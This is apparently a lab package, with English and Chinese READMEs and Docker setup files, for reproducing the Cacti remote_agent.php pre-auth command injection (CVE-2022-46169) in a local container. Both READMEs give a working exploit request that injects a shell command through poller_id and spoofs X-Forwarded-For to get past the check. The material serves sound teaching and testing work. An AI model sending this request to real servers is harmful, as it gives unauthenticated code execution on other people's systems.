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cacti/CVE-2022-46169/README.md

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+# Cacti remote_agent.php Pre-Auth Command Injection (CVE-2022-46169)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Cacti is a robust and extensible operational monitoring and fault management framework for users around the world. A command injection vulnerability allows an unauthenticated user to execute arbitrary code on a server running Cacti prior from version 1.2.17 to 1.2.22, if a specific data source was selected for any monitored device.
+
+References:
+
+- <https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf>
+- <https://mp.weixin.qq.com/s/6crwl8ggMkiHdeTtTApv3A>
+
+## Vulnerability Environment
+
+Execute following command to start a Cacti server 1.2.22:
+
+```
+docker compose up -d
+```
+
+After the server is started, you will see the login page at `http://localhost:8080`.
+
+Then login as admin/admin, follow the instructions to initialize the application. Actually, just click the "next button" again and again before you see the success page.
+
+![](1.png)
+
+Before you can exploit this vulnerability, you have to add a new "Graph" because the command injection is occurred not in the default graph type:
+
+![](2.png)
+
+Select the graph type "Device - Uptime", and click the "Create" button:
+
+![](3.png)
+
+## Exploit
+
+After complete the above initialization, you will change your role to a attacker. Just send following request to Cacti server to trigger the command injection attack:
+
+```
+GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
+X-Forwarded-For: 127.0.0.1
+Host: localhost.lan
+User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Connection: close
+Upgrade-Insecure-Requests: 1
+
+
+```
+
+![](4.png)
+
+Although no command result in the response, you can find the `/tmp/success` has been touched successfully.
+
+![](5.png)

cacti/CVE-2022-46169/README.zh-cn.md

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+# Cacti remote_agent.php 前台命令注入漏洞（CVE-2022-46169）
+
+Cacti是一个服务器监控与管理平台。在其1.2.17-1.2.22版本中存在一处命令注入漏洞，攻击者可以通过X-Forwarded-For请求头绕过服务端校验并在其中执行任意命令。
+
+参考链接：
+
+- <https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf>
+- <https://mp.weixin.qq.com/s/6crwl8ggMkiHdeTtTApv3A>
+
+## 漏洞环境
+
+执行如下命令启动一个Cacti 1.2.22版本服务器：
+
+```
+docker compose up -d
+```
+
+环境启动后，访问`http://your-ip:8080`会跳转到登录页面。使用admin/admin作为账号密码登录，并根据页面中的提示进行初始化。
+
+实际上初始化的过程就是不断点击“下一步”，直到安装成功：
+
+![](1.png)
+
+这个漏洞的利用需要Cacti应用中至少存在一个类似是`POLLER_ACTION_SCRIPT_PHP`的采集器。所以，我们在Cacti后台首页创建一个新的Graph：
+
+![](2.png)
+
+选择的Graph Type是“Device - Uptime”，点击创建：
+
+![](3.png)
+
+## 漏洞利用
+
+完成上述初始化后，我们切换到攻击者的角色。作为攻击者，发送如下数据包：
+
+```
+GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
+X-Forwarded-For: 127.0.0.1
+Host: localhost.lan
+User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Connection: close
+Upgrade-Insecure-Requests: 1
+
+
+```
+
+![](4.png)
+
+虽然响应包里没有回显，但是进入容器中即可发现`/tmp/success`已成功被创建：
+
+![](5.png)

cacti/CVE-2022-46169/docker-compose.yml

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+version: '2'
+services:
+  web:
+    image: vulhub/cacti:1.2.22
+    ports:
+     - "8080:80"
+    depends_on:
+     - db
+    entrypoint:
+     - bash
+     - /entrypoint.sh
+    volumes:
+     - ./entrypoint.sh:/entrypoint.sh
+    command: apache2-foreground
+  db:
+   image: mysql:5.7
+   environment:
+    - MYSQL_ROOT_PASSWORD=root
+    - MYSQL_DATABASE=cacti

cacti/CVE-2022-46169/entrypoint.sh

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+#!/bin/bash
+set -ex
+
+wait-for-it db:3306 -t 300 -- echo "database is connected"
+if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then
+    mysql --host=db --user=root --password=root cacti < /var/www/html/cacti.sql
+    mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"
+    mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"
+fi
+
+chown www-data:www-data -R /var/www/html
+# first arg is `-f` or `--some-option`
+if [ "${1#-}" != "$1" ]; then
+	set -- apache2-foreground "$@"
+fi
+
+exec "$@"